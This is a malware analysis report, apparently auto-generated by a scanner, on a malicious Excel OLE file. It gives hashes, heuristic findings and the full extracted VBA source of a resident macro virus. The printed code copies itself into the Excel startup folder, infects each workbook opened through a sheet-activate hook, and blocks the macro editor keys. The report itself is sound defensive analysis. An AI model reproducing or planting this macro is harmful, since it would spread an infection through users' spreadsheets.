Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3d12967aec94072…

MALICIOUS

Office (OLE)

44.0 KB Created: 2004-03-26 02:29:08 Authoring application: Microsoft Excel First seen: 2012-07-12
MD5: 7846d15e3ec7a4e4a0ca3e483898cb8b SHA-1: a9d2589d27e35387b895a73c7ca8d65306cbb5eb SHA-256: a3d12967aec94072bdc1211515fb1d58de01fdb6fdd1a3701043115066286e8c
148 Risk Score

Heuristics 5

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
      If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006(潘).xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
      Application.OnSheetActivate = "1006(潘).xls!acop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
      Application.OnKey "%{F11}", "1006(潘).xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1705 bytes
SHA-256: e0aa68d62b152d4f65d34b8e4a31048ea8f00cd56d2abce0716a825ff02c4f78
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006(潘).xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "1006(潘).xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("1006(潘).xls").Save
    Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "1006(潘).xls!acop"
  Application.OnKey "%{F11}", "1006(潘).xls!escape"
  Application.OnKey "%{F8}", "1006(潘).xls!escape"
End Sub
Sub acop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("1006(潘).xls").Sheets("StartUp").Copy before:=Worksheets(1)
Application.ScreenUpdating = False
Application.EnableEvents = False
    Sheets(n$).Select
End If
End Sub

Sub aback()
  On Error Resume Next
  Application.OnKey "%{F8}", "1006(潘).xls!escape"
  Application.OnKey "%{F11}", "1006(潘).xls!escape"
  Application.OnSheetActivate = "1006(潘).xls!acop"
  Application.OnTime Now + TimeValue("00:00:01"), "1006(潘).xls!acop"
  Workbooks.Open Application.StartupPath & "\1006(潘).xls"
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True